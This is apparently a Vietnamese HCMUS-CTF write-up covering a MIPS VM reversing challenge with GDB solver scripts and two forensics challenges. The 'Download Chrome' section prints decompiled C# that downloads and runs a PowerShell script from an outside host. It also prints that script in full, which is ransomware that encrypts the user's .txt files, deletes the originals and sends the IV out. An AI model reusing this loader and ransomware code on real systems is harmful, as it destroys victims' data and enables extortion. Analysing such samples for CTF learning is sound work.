if ( Machine::ReadMem(this, this->registers[34], 4, &raw) )
{
instr->value = raw;
Instruction::Decode(instr);
if ( Debug::IsEnabled(debug, 109) )
{
str = (OpString *)(16 * instr->opCode + 134624448);
if ( instr->opCode > 63 )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cerr, "Assertion failed: line ");
v3 = std::ostream::operator<<(v2, 142);
v4 = std::operator<<<std::char_traits<char>>(v3, " file ");
v5 = std::operator<<<std::char_traits<char>>(v4, "../machine/mipssim.cc");
std::operator<<<std::char_traits<char>>(v5, "\n");
Abort();
}
v6 = this->registers[34];
v7 = std::operator<<<std::char_traits<char>>(&std::cout, "At PC = ");
std::ostream::operator<<(v7, v6);
v8 = TypeToReg(str->args[2], instr);
v9 = TypeToReg(str->args[1], instr);
v10 = TypeToReg(str->args[0], instr);
sprintf(buf, str->format, v10, v9, v8);
v11 = std::operator<<<std::char_traits<char>>(&std::cout, "\t");
v12 = std::operator<<<std::char_traits<char>>(v11, buf);
std::operator<<<std::char_traits<char>>(v12, "\n");
}
pcAfter = this->registers[35] + 4;
switch ( instr->opCode )
{
case 1:
sum = this->registers[instr->rs] + this->registers[instr->rt];
if ( (this->registers[instr->rs] ^ this->registers[instr->rt]) >= 0 && (sum ^ this->registers[instr->rs]) < 0 )
goto LABEL_133;
this->registers[instr->rd] = sum;
goto LABEL_171;
case 2:
sum = this->registers[instr->rs] + instr->extra;
if ( (this->registers[instr->rs] ^ instr->extra) >= 0 && (sum ^ instr->extra) < 0 )
goto LABEL_133;
this->registers[instr->rt] = sum;
goto LABEL_171;
case 3:
this->registers[instr->rt] = instr->extra + this->registers[instr->rs];
goto LABEL_171;
case 4:
this->registers[instr->rd] = this->registers[instr->rt] + this->registers[instr->rs];
goto LABEL_171;
case 5:
this->registers[instr->rd] = this->registers[instr->rt] & this->registers[instr->rs];
goto LABEL_171;
case 6:
this->registers[instr->rt] = (unsigned __int16)instr->extra & this->registers[instr->rs];
goto LABEL_171;
case 7:
if ( this->registers[instr->rs] == this->registers[instr->rt] )
pcAfter = this->registers[35] + 4 * instr->extra;
goto LABEL_171;
case 8:
goto LABEL_22;
case 9:
this->registers[31] = this->registers[35] + 4;
LABEL_22:
if ( this->registers[instr->rs] >= 0 )
pcAfter = this->registers[35] + 4 * instr->extra;
goto LABEL_171;
case 0xA:
if ( this->registers[instr->rs] > 0 )
pcAfter = this->registers[35] + 4 * instr->extra;
goto LABEL_171;
case 0xB:
if ( this->registers[instr->rs] <= 0 )
pcAfter = this->registers[35] + 4 * instr->extra;
goto LABEL_171;
case 0xC:
goto LABEL_32;
case 0xD:
this->registers[31] = this->registers[35] + 4;
LABEL_32:
if ( this->registers[instr->rs] < 0 )
pcAfter = this->registers[35] + 4 * instr->extra;
goto LABEL_171;
case 0xE:
if ( this->registers[instr->rs] != this->registers[instr->rt] )
pcAfter = this->registers[35] + 4 * instr->extra;
goto LABEL_171;
case 0x10:
if ( this->registers[instr->rt] )
{
this->registers[33] = this->registers[instr->rs] / this->registers[instr->rt];
this->registers[32] = this->registers[instr->rs] % this->registers[instr->rt];
}
else
{
this->registers[33] = 0;
this->registers[32] = 0;
}
goto LABEL_171;
case 0x11:
rs = this->registers[instr->rs];
rt = this->registers[instr->rt];
if ( rt )
{
this->registers[33] = rs / rt;
tmp = rs % rt;
this->registers[32] = rs % rt;
}
else
{
this->registers[33] = 0;
this->registers[32] = 0;
}
goto LABEL_171;
case 0x12:
goto LABEL_45;
case 0x13:
this->registers[31] = this->registers[35] + 4;
LABEL_45:
pcAfter = pcAfter & 0xF0000000 | (4 * instr->extra);
goto LABEL_171;
case 0x14:
this->registers[instr->rd] = this->registers[35] + 4;
goto LABEL_47;
case 0x15:
LABEL_47:
pcAfter = this->registers[instr->rs];
goto LABEL_171;
case 0x16:
case 0x17:
tmp = this->registers[instr->rs] + instr->extra;
if ( !Machine::ReadMem(this, tmp, 1, &value) )
return;
if ( (value & 0x80) != 0 && instr->opCode == 22 )
value |= 0xFFFFFF00;
else
value = (unsigned __int8)value;
nextLoadReg = instr->rt;
nextLoadValue = value;
goto LABEL_171;
case 0x18:
case 0x19:
tmp = this->registers[instr->rs] + instr->extra;
if ( (tmp & 1) != 0 )
goto LABEL_55;
if ( !Machine::ReadMem(this, tmp, 2, &value) )
return;
if ( (value & 0x8000) != 0 && instr->opCode == 24 )
value |= 0xFFFF0000;
else
value = (unsigned __int16)value;
nextLoadReg = instr->rt;
nextLoadValue = value;
goto LABEL_171;
case 0x1A:
if ( Debug::IsEnabled(debug, 109) )
{
extra = instr->extra;
v14 = instr->rt;
v15 = std::operator<<<std::char_traits<char>>(&std::cerr, "Executing: LUI r");
v16 = std::operator<<<std::char_traits<char>>(v15, v14);
v17 = std::operator<<<std::char_traits<char>>(v16, ", ");
v18 = std::ostream::operator<<(v17, extra);
std::operator<<<std::char_traits<char>>(v18, "\n");
}
this->registers[instr->rt] = instr->extra << 16;
goto LABEL_171;
case 0x1B:
tmp = this->registers[instr->rs] + instr->extra;
if ( (tmp & 3) != 0 )
{
LABEL_55:
Machine::RaiseException(this, ExceptionType::AddressErrorException, tmp);
return;
}
if ( !Machine::ReadMem(this, tmp, 4, &value) )
return;
nextLoadReg = instr->rt;
nextLoadValue = value;
goto LABEL_171;
case 0x1C:
tmp = this->registers[instr->rs] + instr->extra;
byte = tmp & 3;
if ( !Machine::ReadMem(this, tmp - byte, 4, &value) )
return;
if ( this->registers[37] == instr->rt )
nextLoadValue = this->registers[38];
else
nextLoadValue = this->registers[instr->rt];
v19 = 3 - byte;
if ( byte == 2 )
{
nextLoadValue = (value << 8) | (unsigned __int8)nextLoadValue;
}
else if ( v19 > 1 )
{
if ( v19 == 2 )
{
nextLoadValue = (value << 16) | (unsigned __int16)nextLoadValue;
}
else if ( v19 == 3 )
{
nextLoadValue = nextLoadValue & 0xFFFFFF | (value << 24);
}
}
else if ( !v19 )
{
nextLoadValue = value;
}
nextLoadReg = instr->rt;
goto LABEL_171;
case 0x1D:
tmp = this->registers[instr->rs] + instr->extra;
byte = tmp & 3;
if ( !Machine::ReadMem(this, tmp - byte, 4, &value) )
return;
if ( this->registers[37] == instr->rt )
nextLoadValue = this->registers[38];
else
nextLoadValue = this->registers[instr->rt];
v20 = 3 - byte;
if ( byte == 2 )
{
HIWORD(v22) = HIWORD(nextLoadValue);
LOWORD(v22) = 0;
nextLoadValue = v22 | HIWORD(value);
}
else if ( v20 > 1 )
{
if ( v20 == 2 )
{
nextLoadValue = nextLoadValue & 0xFF000000 | ((unsigned int)value >> 8);
}
else if ( v20 == 3 )
{
nextLoadValue = value;
}
}
else if ( !v20 )
{
v21 = nextLoadValue;
LOBYTE(v21) = 0;
nextLoadValue = v21 | HIBYTE(value);
}
nextLoadReg = instr->rt;
goto LABEL_171;
case 0x1F:
this->registers[instr->rd] = this->registers[32];
goto LABEL_171;
case 0x20:
this->registers[instr->rd] = this->registers[33];
goto LABEL_171;
case 0x22:
this->registers[32] = this->registers[instr->rs];
goto LABEL_171;
case 0x23:
this->registers[33] = this->registers[instr->rs];
goto LABEL_171;
case 0x24:
Mult(this->registers[instr->rs], this->registers[instr->rt], 1, &this->registers[32], &this->registers[33]);
goto LABEL_171;
case 0x25:
Mult(this->registers[instr->rs], this->registers[instr->rt], 0, &this->registers[32], &this->registers[33]);
goto LABEL_171;
case 0x26:
this->registers[instr->rd] = ~(this->registers[instr->rs] | this->registers[instr->rt]);
goto LABEL_171;
case 0x27:
this->registers[instr->rd] = this->registers[instr->rt] | this->registers[instr->rs];
goto LABEL_171;
case 0x28:
this->registers[instr->rt] = (unsigned __int16)instr->extra | this->registers[instr->rs];
goto LABEL_171;
case 0x2A:
if ( Machine::WriteMem(this, this->registers[instr->rs] + instr->extra, 1, this->registers[instr->rt]) )
goto LABEL_171;
return;
case 0x2B:
if ( Machine::WriteMem(this, this->registers[instr->rs] + instr->extra, 2, this->registers[instr->rt]) )
goto LABEL_171;
return;
case 0x2C:
this->registers[instr->rd] = this->registers[instr->rt] << instr->extra;
goto LABEL_171;
case 0x2D:
this->registers[instr->rd] = this->registers[instr->rt] << (this->registers[instr->rs] & 0x1F);
goto LABEL_171;
case 0x2E:
this->registers[instr->rd] = this->registers[instr->rs] < this->registers[instr->rt];
goto LABEL_171;
case 0x2F:
this->registers[instr->rt] = this->registers[instr->rs] < instr->extra;
goto LABEL_171;
case 0x30:
rs = this->registers[instr->rs];
imm = instr->extra;
this->registers[instr->rt] = rs < imm;
goto LABEL_171;
case 0x31:
rs = this->registers[instr->rs];
rt = this->registers[instr->rt];
this->registers[instr->rd] = rs < rt;
goto LABEL_171;
case 0x32:
this->registers[instr->rd] = this->registers[instr->rt] >> instr->extra;
goto LABEL_171;
case 0x33:
this->registers[instr->rd] = this->registers[instr->rt] >> (this->registers[instr->rs] & 0x1F);
goto LABEL_171;
case 0x34:
tmp = this->registers[instr->rt];
tmp >>= instr->extra;
this->registers[instr->rd] = tmp;
goto LABEL_171;
case 0x35:
tmp = this->registers[instr->rt];
tmp >>= this->registers[instr->rs] & 0x1F;
this->registers[instr->rd] = tmp;
goto LABEL_171;
case 0x36:
diff = this->registers[instr->rs] - this->registers[instr->rt];
if ( (this->registers[instr->rs] ^ this->registers[instr->rt]) >= 0 || (diff ^ this->registers[instr->rs]) >= 0 )
{
this->registers[instr->rd] = diff;
LABEL_171:
Machine::DelayedLoad(this, nextLoadReg, nextLoadValue);
this->registers[36] = this->registers[34];
this->registers[34] = this->registers[35];
this->registers[35] = pcAfter;
}
else
{
LABEL_133:
Machine::RaiseException(this, ExceptionType::OverflowException, 0);
}
break;
case 0x37:
this->registers[instr->rd] = this->registers[instr->rs] - this->registers[instr->rt];
goto LABEL_171;
case 0x38:
if ( Machine::WriteMem(this, this->registers[instr->rs] + instr->extra, 4, this->registers[instr->rt]) )
goto LABEL_171;
return;
case 0x39:
tmp = this->registers[instr->rs] + instr->extra;
byte = tmp & 3;
if ( Machine::ReadMem(this, tmp - byte, 4, &value) )
{
v23 = 3 - byte;
if ( byte == 2 )
{
value = value & 0xFF000000 | ((unsigned int)this->registers[instr->rt] >> 8);
}
else if ( v23 > 1 )
{
if ( v23 == 2 )
{
HIWORD(v24) = HIWORD(value);
LOWORD(v24) = 0;
value = v24 | HIWORD(this->registers[instr->rt]);
}
else if ( v23 == 3 )
{
v25 = value;
LOBYTE(v25) = 0;
value = v25 | HIBYTE(this->registers[instr->rt]);
}
}
else if ( !v23 )
{
value = this->registers[instr->rt];
}
if ( Machine::WriteMem(this, tmp - byte, 4, value) )
goto LABEL_171;
}
return;
case 0x3A:
tmp = this->registers[instr->rs] + instr->extra;
byte = tmp & 3;
if ( Machine::ReadMem(this, tmp - byte, 4, &value) )
{
v26 = 3 - byte;
if ( byte == 2 )
{
value = (unsigned __int16)value | (this->registers[instr->rt] << 16);
}
else if ( v26 > 1 )
{
if ( v26 == 2 )
{
value = (unsigned __int8)value | (this->registers[instr->rt] << 8);
}
else if ( v26 == 3 )
{
value = this->registers[instr->rt];
}
}
else if ( !v26 )
{
value = value & 0xFFFFFF | (this->registers[instr->rt] << 24);
}
if ( Machine::WriteMem(this, tmp - byte, 4, value) )
goto LABEL_171;
}
return;
case 0x3B:
this->registers[instr->rd] = this->registers[instr->rt] ^ this->registers[instr->rs];
goto LABEL_171;
case 0x3C:
this->registers[instr->rt] = (unsigned __int16)instr->extra ^ this->registers[instr->rs];
goto LABEL_171;
case 0x3D:
Machine::RaiseException(this, ExceptionType::SyscallException, 0);
return;
case 0x3E:
case 0x3F:
Machine::RaiseException(this, ExceptionType::IllegalInstrException, 0);
return;
default:
v27 = std::operator<<<std::char_traits<char>>(&std::cerr, "Assertion failed: line ");
v28 = std::ostream::operator<<(v27, 688);
v29 = std::operator<<<std::char_traits<char>>(v28, " file ");
v30 = std::operator<<<std::char_traits<char>>(v29, "../machine/mipssim.cc");
std::operator<<<std::char_traits<char>>(v30, "\n");
Abort();
}
}
}
Viết 1 script disasembler đơn giản vm:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import gdb
from collections import Counter
ge = gdb.execute
gp = gdb.parse_and_eval
ge("start")
ge("b *0x0804FCCF") # case
addr_case = {
0x0804FCD1: 1,
0x0804FDAD: 2,
0x0804FE59: 3,
0x0804FE9B: 4,
0x0804FEED: 5,
0x0804FF3F: 6,
0x0804FF84: 7,
0x0804FFFA: 8,
0x0804FFDF: 9,
0x0805003C: 10,
0x0805007E: 11,
0x080500DB: 12,
0x080500C0: 13,
0x0805011D: 14,
0x08050178: 16,
0x08050243: 17,
0x0805030B: 18,
0x080502F0: 19,
0x08050331: 20,
0x08050359: 21,
0x0805037D: 23,
0x0805043A: 25,
0x08050523: 26,
0x080505CD: 27,
0x08050677: 28,
0x080507D0: 29,
0x0805092D: 31,
0x08050957: 32,
0x08050981: 34,
0x080509AB: 35,
0x080509D5: 36,
0x08050A40: 37,
0x08050AAB: 38,
0x08050B01: 39,
0x08050B53: 40,
0x08050B98: 42,
0x08050C04: 43,
0x08050C70: 44,
0x08050CB6: 45,
0x08050D0F: 46,
0x08050D89: 47,
0x08050DF3: 48,
0x08050E6D: 49,
0x08050EF7: 50,
0x08050F3D: 51,
0x08050F96: 52,
0x08050FE1: 53,
0x0805103F: 54,
0x08051114: 55,
0x08051166: 56,
0x080511D2: 57,
0x0805135F: 58,
0x08051508: 59,
0x0805155A: 60,
0x080514E5: 61,
0x0805159C: 63
}
op_dis = {
1: "ADD", 2: "ADDI", 3: "ADDIU", 4: "SUB", 5: "AND", 6: "ANDI",
7: "CMP", 8: "JLE", 9: "JGE", 10: "BGTZ", 11: "BLTZ", 12: "JNE",
13: "JAL", 14: "J", 16: "DIV", 17: "DIVU", 18: "J", 19: "JAL",
20: "JALR", 21: "JR", 22: "LB", 23: "LB", 24: "LH", 25: "LH",
26: "LUI", 27: "LW", 28: "LWL", 29: "LWR", 31: "MFLO", 32: "MFHI",
34: "MTLO", 35: "MTHI", 36: "MULT", 37: "MULTU", 38: "NOR", 39: "OR",
40: "ORI", 42: "SB", 43: "SH", 44: "SLL", 45: "SLLV", 46: "SLT",
47: "SLTI", 48: "SLTU", 49: "SLTIU", 50: "SRA", 51: "SRAV",
52: "SRAI", 53: "SRLV", 54: "SUB", 55: "SUBU", 56: "SW",
57: "SWL", 58: "SWR", 59: "XOR", 60: "XORI", 61: "SYSCALL",
62: "BREAK", 63: "ILLEGAL"
}
op = []
pc = 0
pr = ''
key = "abcdefghijklmnop"
ge(f"r <<< {key}")
while True:
try:
eax = int(gp("$eax"))
if eax in addr_case:
op.append(addr_case[eax])
ge("c")
except:
with open("disasm.txt", "w") as f:
cnts = Counter(op)
for v, cnt in cnts.items():
f.write(f"{op_dis.get(v, 'UNK')}({v}) : {cnt}\n")
f.write("\n")
for o in op:
f.write(f"{op_dis.get(o, 'UNK')}\n")
f.write(f"{op_dis.get(o, 'UNK')}")
exit()
Đây là số lệnh được sử dụng trong vm này:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
JAL(19): 35
SLL(44): 372
ADDIU(3): 150
SW(56): 73
SUB(4): 83
JR(21): 33
LUI(26): 34
LW(27): 179
LB(23): 78
J(14): 51
SYSCALL(61): 31
J(18): 50
SLTI(47): 34
SB(42): 16
XOR(59): 16
SRA(50): 16
CMP(7): 16
Sơ lược thì tại case 61 sẽ có 2 giá trị syscall 0, 1 tương ứng với write và read input.
Debug và trace thì 5 giá trị 61 đầu tiên ứng với syscall 1 sẽ write Key: 17 giá trị 61 tiếp theo ứng với syscall 0 sẽ đọc key nhập vào. 9 giá trị 61 cuối cùng sẽ in ra Incorrect với test key nhập sai. Nhìn vào số lượng key ta có thể đoán cơ bản vm này sẽ làm gì với key nhập vào. Chú ý vào những đoạn case xuất hiện 16 lần (XOR, SB, SRA, CMP) ứng với xử lý 16 byte key (byte 17 là \n) sẽ tập trung trace vào đó.
Test với key abcdefghijklmnop.
1 lưu ý là byte key được đọc sẽ xor với 0x49 và + 9:
Store byte key vào mem:
Xor với xor_data tại ecx (((ord('a') ^ 0x49) + 9) ^ 0x75 = 0x31 ^ 0x75 = 0x44):
Sau đó so sánh với cipher text tại eax:
Như vậy luồng check key đơn giản là xor byte với 0x49 và + 9, sau đó xor với mảng xor_data tại ecx, cuối cùng so sánh với cipher text tại eax.
Script dump ra xor_data và cipher:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import gdb
ge = gdb.execute
gp = gdb.parse_and_eval
ge("start")
ge("b *0x0804FCCF") # case
ge("b *0x08051547") # xor
ge("b *0x0804FFB6") # cmp
addr_case = {
0x0804FCD1: 1,
0x0804FDAD: 2,
0x0804FE59: 3,
0x0804FE9B: 4,
0x0804FEED: 5,
0x0804FF3F: 6,
0x0804FF84: 7,
0x0804FFFA: 8,
0x0804FFDF: 9,
0x0805003C: 10,
0x0805007E: 11,
0x080500DB: 12,
0x080500C0: 13,
0x0805011D: 14,
0x08050178: 16,
0x08050243: 17,
0x0805030B: 18,
0x080502F0: 19,
0x08050331: 20,
0x08050359: 21,
0x0805037D: 23,
0x0805043A: 25,
0x08050523: 26,
0x080505CD: 27,
0x08050677: 28,
0x080507D0: 29,
0x0805092D: 31,
0x08050957: 32,
0x08050981: 34,
0x080509AB: 35,
0x080509D5: 36,
0x08050A40: 37,
0x08050AAB: 38,
0x08050B01: 39,
0x08050B53: 40,
0x08050B98: 42,
0x08050C04: 43,
0x08050C70: 44,
0x08050CB6: 45,
0x08050D0F: 46,
0x08050D89: 47,
0x08050DF3: 48,
0x08050E6D: 49,
0x08050EF7: 50,
0x08050F3D: 51,
0x08050F96: 52,
0x08050FE1: 53,
0x0805103F: 54,
0x08051114: 55,
0x08051166: 56,
0x080511D2: 57,
0x0805135F: 58,
0x08051508: 59,
0x0805155A: 60,
0x080514E5: 61,
0x0805159C: 63
}
vm = []
key = "abcdefghijklmnop"
xor_data = []
ct = []
vm = []
ge(f"r <<< {key}")
while True:
try:
eax = int(gp("$eax"))
if eax in addr_case:
if addr_case[eax] == 59:
ge("c")
eax = hex(gp("$eax"))
ecx = hex(gp("$ecx"))
xor_data.append(ecx)
vm.append(f"xor {ecx}, {eax}")
elif addr_case[eax] == 7:
ge("c")
eax = hex(gp("$eax"))
edx = hex(gp("$edx"))
ct.append(eax)
vm.append(f"cmp {edx}, {eax}")
ge("c")
except:
print("\nKey modify: ", end='')
for k in key:
print(hex((ord(k)^0x49)+9), end=', ')
print("\n\nVM:")
for v in vm:
print(v)
print(f"\nxor_data = {xor_data}")
print(f"\nct = {ct}")
exit()
Từng byte key được biến đổi nên dễ dàng brute force:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from string import ascii_letters, digits, punctuation
# VM:
# xor 0x75, 0x31
# cmp 0x44, 0x31
# xor 0xb4, 0x34
# cmp -0x80, 0x32
# xor 0x3, 0x33
# cmp 0x30, 0x32
# xor 0x1d, 0x36
# cmp 0x2b, 0x33
# xor 0x2c, 0x35
# cmp 0x19, 0x33
# xor 0x7b, 0x38
# cmp 0x43, 0x33
# xor 0x19, 0x37
# cmp 0x2e, 0x34
# xor 0x2b, 0x2a
# cmp 0x1, 0x34
# xor 0x1d, 0x29
# cmp 0x34, 0x34
# xor 0x77, 0x2c
# cmp 0x5b, 0x34
# xor 0x5, 0x2b
# cmp 0x2e, 0x35
# xor 0x73, 0x2e
# cmp 0x5d, 0x35
# xor 0x2a, 0x2d
# cmp 0x7, 0x35
# xor 0x1c, 0x30
# cmp 0x2c, 0x35
# xor 0x73, 0x2f
# cmp 0x5c, 0x35
# xor 0x49, 0x42
# cmp 0xb, 0x36
xor_data = ['0x75', '0xb4', '0x3', '0x1d', '0x2c', '0x7b', '0x19', '0x2b', '0x1d', '0x77', '0x5', '0x73', '0x2a', '0x1c', '0x73', '0x49']
ct = ['0x31', '0x32', '0x32', '0x33', '0x33', '0x33', '0x34', '0x34', '0x34', '0x34', '0x35', '0x35', '0x35', '0x35', '0x35', '0x36']
key = ''
chars = ascii_letters + digits + punctuation
for x, e in zip(xor_data, ct):
for c in chars:
km = (ord(c) ^ 0x49) + 9
if (km ^ int(x, 16)) == int(e, 16):
key += c
break
# print(len(key))
print(key)
# r4al_vm_isnt_it?
HCMUS-CTF{r4al_vm_isnt_it?}
Forensics/Download Chrome
User ran a strange file. Suspicious behavior detected. Find the flag.
Challenge mô tả user đã chạy 1 file lạ với hành vi đáng ngờ trên hệ thống. Phân tích file traffic.pcapng thì thấy các file khả nghi, export ra để theo dõi:
Đây là chrome.exe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Text;
// Token: 0x02000002 RID: 2
internal class Program
{
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
private static string XorDecode(byte[] data, string key)
{
byte[] array = new byte[data.Length];
for (int i = 0; i < data.Length; i++)
{
array[i] = (data[i] ^ (byte)key[i % key.Length]);
}
return Encoding.UTF8.GetString(array);
}
// Token: 0x06000002 RID: 2 RVA: 0x000020A4 File Offset: 0x000002A4
private static void Main()
{
try
{
ServicePointManager.SecurityProtocol = 3072;
string text = Path.Combine(Path.GetTempPath(), "temp_script.ps1");
string text2 = "ABcZBUlMW1cLAhwEXltDREpQWlMACgcFWFNdWgMMAwNAQ1pQBA8=";
string key = "hcmusctf2025";
string s = text2.Replace('@', 'a');
byte[] data = Convert.FromBase64String(s);
string text3 = Program.XorDecode(data, key);
Console.WriteLine("URL: " + text3);
using (WebClient webClient = new WebClient())
{
string s2 = webClient.DownloadString(text3);
byte[] data2 = Convert.FromBase64String(s2);
string text4 = Program.XorDecode(data2, key);
Console.WriteLine("Content: ");
Console.WriteLine(text4);
File.WriteAllText(text, text4);
}
using (Process process = Process.Start(new ProcessStartInfo
{
FileName = "powershell.exe",
Arguments = "-ExecutionPolicy Bypass -File \"" + text + "\"",
UseShellExecute = false,
RedirectStandardOutput = true,
RedirectStandardError = true,
CreateNoWindow = true
}))
{
string str = process.StandardOutput.ReadToEnd();
string text5 = process.StandardError.ReadToEnd();
process.WaitForExit();
Console.WriteLine("[Output] " + str);
if (!string.IsNullOrWhiteSpace(text5))
{
Console.WriteLine("[Error] " + text5);
}
}
}
catch (Exception ex)
{
Console.WriteLine("Lỗi: " + ex.Message);
}
}
}
File chrome.exe này đầu tiên tạo 1 tệp powershall trống tên là temp_script.ps1, sau đó giải mã base64 và tải nội dung của powershell tại http://192.168.193.52:50000/powershell và lưu vào lại vào tệp rồi thực thi:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$targetDirectories = @("$env:USERPROFILE")
$fileExtensionsToEncrypt = @(".txt")
$encodedPayloadUrl = "http://192.168.193.52:50000/12345"
$sendIVUrl = "http://192.168.193.52:50000/iv"
$base64Payload = Invoke-WebRequest -Uri $encodedPayloadUrl | Select-Object -ExpandProperty Content
$decodedPayload = [System.Text.Encoding]::UTF8.GetString(
[System.Convert]::FromBase64String($base64Payload)
)
$sha256 = [System.Security.Cryptography.SHA256]::Create()
$key = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($decodedPayload))
$rijndaelTemp = [System.Security.Cryptography.RijndaelManaged]::Create()
$iv = $rijndaelTemp.IV
$ivBase64 = [System.Convert]::ToBase64String($iv)
$body = @{ iv = $ivBase64 } | ConvertTo-Json
Invoke-WebRequest -Uri $sendIVUrl -Method POST -Body $body -ContentType "application/json"
$rijndael = New-Object System.Security.Cryptography.RijndaelManaged
$rijndael.Key = $key
$rijndael.IV = $iv
$rijndael.Mode = [System.Security.Cryptography.CipherMode]::CBC
$rijndael.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
foreach ($directory in $targetDirectories) {
Get-ChildItem -Path $directory -Recurse -File | ForEach-Object {
if ($fileExtensionsToEncrypt -contains $_.Extension) {
$originalFile = $_.FullName
$encryptedFile = $originalFile -replace $_.Extension, ".hcmus"
$fileBytes = [System.IO.File]::ReadAllBytes($originalFile)
$encryptor = $rijndael.CreateEncryptor()
$encryptedBytes = $encryptor.TransformFinalBlock($fileBytes, 0, $fileBytes.Length)
[System.IO.File]::WriteAllBytes($encryptedFile, $encryptedBytes)
Remove-Item $originalFile
}
}
}
Script này mã hóa AES mode CBC tất cả file có đuôi .txt với key là file 12345 được decode base64 và hash SHA 256 cùng với iv là file iv được decode base64 rồi đổi đuôi file bị mã hóa sang .hcmus.
Nhặt hết ra đem lên cyberchef giải mã:
HCMUS-CTF{n3v3r_rUn_str4ng3r_f1l3s_adfx}
Forensics/Event Log
Our web server detected suspicious activities and a potential leak of sensitive data.
Challenge yêu cầu phân tích các log hệ thống để tìm ra dấu hiệu rò rỉ dữ liệu nhạy cảm từ máy chủ web. Phân tích squid.log thì đây là log của proxy Squid ghi lại các truy cập web qua proxy.
Quan sát điểm đáng ngờ khi có nhiều truy cập đến webhook.site từ các IP nội bộ khác nhau là dấu hiệu rò rỉ dữ liệu.
webhook.site là dịch vụ cho phép bất kỳ ai tạo một endpoint để nhận dữ liệu từ bên ngoài {. :prompt-info }
Lọc các đoạn webhook.site để phân tích:
1
2
3
4
5
s = open('squid.log', 'r').readlines()
with open('webhook_site.log', 'w') as f:
for line in s:
if 'webhook.site' in line:
f.write(line)
Có 7 đoạn cho thấy đang truyền dữ liệu decode base64 từng phần qua URL path đến webhook.site.
Format flag là HCMUS-CTF{ nên guessing thử xor với key xem:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from base64 import b64decode
data = open('webhook_site.log', 'r').readlines()
text = ''
for line in data:
if 'text/html' in line:
# print(line.split('/')[::-1][2].split('-')[0])
text += line.split('/')[::-1][2].split(' -')[0]
print(text)
text = b64decode(text).decode()
pre = "HCMUS-CTF{"
for i in range(len(pre)):
print(chr(ord(pre[i]) ^ ord(text[i])), end='')
# hcmusctf20
Key gần đúng rồi, brute tiếp thì key đúng là hcmusctf2025:
HCMUS-CTF{3v3nt-1o9-n51nx-4nd-5qu1d-adfx}




































